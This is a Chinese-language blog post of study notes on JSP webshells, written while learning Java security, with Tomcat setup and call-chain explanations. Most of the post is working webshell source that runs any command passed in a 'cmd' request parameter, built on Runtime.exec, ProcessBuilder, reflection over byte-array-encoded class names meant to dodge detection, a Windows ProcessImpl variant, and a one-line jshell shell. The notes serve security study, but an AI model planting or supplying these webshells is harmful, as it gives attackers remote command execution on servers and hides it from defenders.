JSPWebShell小记

本文最后更新于:2024年9月10日 下午

学习JavaSec中有这一部分,故系统记录一下。

环境搭建

首先,IDEA肯定是准备好,这个不细说了,破解版各个公众号都有。

然后下载Tomcat作为Web服务,因为JSP是动态页面,必须要有容器,我自己在官网下的Tomcat9,这里给一个7版本的下载地址。

Tomcat-7.0.82

解压缩后记住地址,新建一个IDEA的项目,具体配置见这篇文章:在IDEA中搭建JSP环境

写好了一个JSP🐎的时候发现会报错无法解决函数的问题,是因为没有导入相关的jar包。

ctrl+shift+alt+s打开项目配置,找到lib,添加Tomcat的相关依赖。common包官网

当运行Tomcat的时候,控制台中文出现了乱码,解决方案:ctrl+alt+s打开系统设置,进入控制台选项,修改编码为UTF-8

最后就可以正常运行了

JSPWebShell基础

JSP 语法其实非常简单,我们只需要将 Java 语句使用 <%JavaCode%> 进行包裹。

1
2
3
4
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
out.println("test");
%>

本质上还是在写Java代码,这里给出一个最基础的🐎:利用Runtime类的exec执行系统命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[2048];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

exec方法并不是命令执行的最终点,执行逻辑大致是:

  • Runtime.exec("whoami")
  • java.lang.ProcessBuilder.start()
  • new java.lang.UNIXProcess("whoami")
  • UNIXProcess构造方法中调用了forkAndExec("whoami")native方法。
  • forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcessPID

ProcessBuilder命令执行

学习Runtime命令执行的时候,其最终exec方法会调用ProcessBuilder来执行本地命令,那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder来执行系统命令了。

process_builder.jsp命令执行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

利用反射执行系统命令

既然是Java代码,当然是可以直接使用反射来执行Runtime类的函数的。

这里我通过字节转成字符串来反射获取类和函数,并且这里我没有去实例化Runtime类,直接获取getRuntime这个函数来达到实例化的目的

通过连续两次执行invoke()最终得到执行结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("cmd");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);

// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
out.println(result);
%>

NIXProcess/ProcessImpl

ProcessBuilder在实现时调用了ProcessImpl

UNIXProcessProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中了,参考changeset 11315:98eb910c9a97

UNIXProcessProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。

UNIXProcess类的forkAndExec示例:

1
2
3
4
5
6
7
8
private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,
byte[] argBlock, int argc,
byte[] envBlock, int envc,
byte[] dir,
int[] fds,
boolean redirectErrorStream)
throws IOException;

最终执行的Java_java_lang_ProcessImpl_forkAndExec完整代码:ProcessImpl_md.c

反射UNIXProcess/ProcessImpl执行本地命令

这里JavaSec的指导书里面只写了Linux的Shell,我这里写一下Win下的。

首先我们需要知道Win系统下ProcessImpl是如何执行的,那么我们可以使用前面ProcessBuilder的Shell,然后在new ProcessBuilder那里打上断点,然后启动Tomcat进行调试,然后我们步进到PrcocessImpl.java文件,在其322行的位置打上断点,直接继续运行,可以看到此时ProcessImpl的构造函数的参数是多少,然后我们在WebShell里面仿照构造就行了。

最后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<html>
<head>
<title>WinRefProcessImplShell</title>
</head>
<body>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
InputStream start(String[] cmds) throws Exception {
// java.lang.ProcessImpl
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
Class clazz = null;
// 反射创建ProcessImpl
clazz = Class.forName(processClass);
// 获取UNIXProcess或者ProcessImpl的构造方法
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);

assert cmds != null && cmds.length > 0;

FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;
// In theory, close() can throw IOException
// (although it is rather unlikely to happen here)
try {
if (f0 != null) f0.close();
} finally {
try {
if (f1 != null) f1.close();
} finally {
if (f2 != null) f2.close();
}
}
// 创建ProcessImpl实例
Object object = constructor.newInstance(
cmds,
null,
null,
new long[]{-1,-1,-1},
false
);
// 获取命令执行的InputStream
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);

return (InputStream) inMethod.invoke(object);
}

String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];

while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}
return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}
%>
<%
String[] cmds = request.getParameterValues("cmd");

if (cmds != null) {
InputStream in = start(cmds);
String result = inputStreamToString(in, "UTF-8");
out.println("<pre>");
out.println(result);
out.println("</pre>");
out.flush();
out.close();
}
%>
</body>
</html>

JShell执行系统命令

我还是第一次听说这个东西,还是太菜了。

Java 9开始提供了一个叫jshell的功能,jshell是一个REPL(Read-Eval-Print Loop)命令行工具,提供了一个交互式命令行界面,在jshell中我们不再需要编写类也可以执行Java代码片段,开发者可以像pythonphp一样在命令行下愉快的写测试代码了。

命令行执行jshell即可进入jshell模式:

jshell不仅是一个命令行工具,在我们的应用程序中同样也可以调用jshell内部的实现API,也就是说我们可以利用jshell来执行Java代码片段而不再需要将Java代码编译成class文件后执行了。

jshell调用了jdk.jshell.JShell类的eval方法来执行我们的代码片段,那么我们只要想办法调用这个eval方法也就可以实现真正意义上的一句话木马了。

jshell.jsp一句话木马示例:

1
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd"))%>

只输出关键信息,修改为:

1
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>

然后我们需要编写一个执行本地命令的代码片段:也就是参数``cmd`的值

1
new String(Runtime.getRuntime().exec("pwd").getInputStream().readAllBytes())

Java 9java.io.InputStream类正好提供了一个readAllBytes方法,我们从此以后再也不需要按字节读取了。


JSPWebShell小记
https://3xsh0re.github.io/2024/08/09/JSPWebShell小记/
作者
3xsh0re
发布于
2024年8月9日
许可协议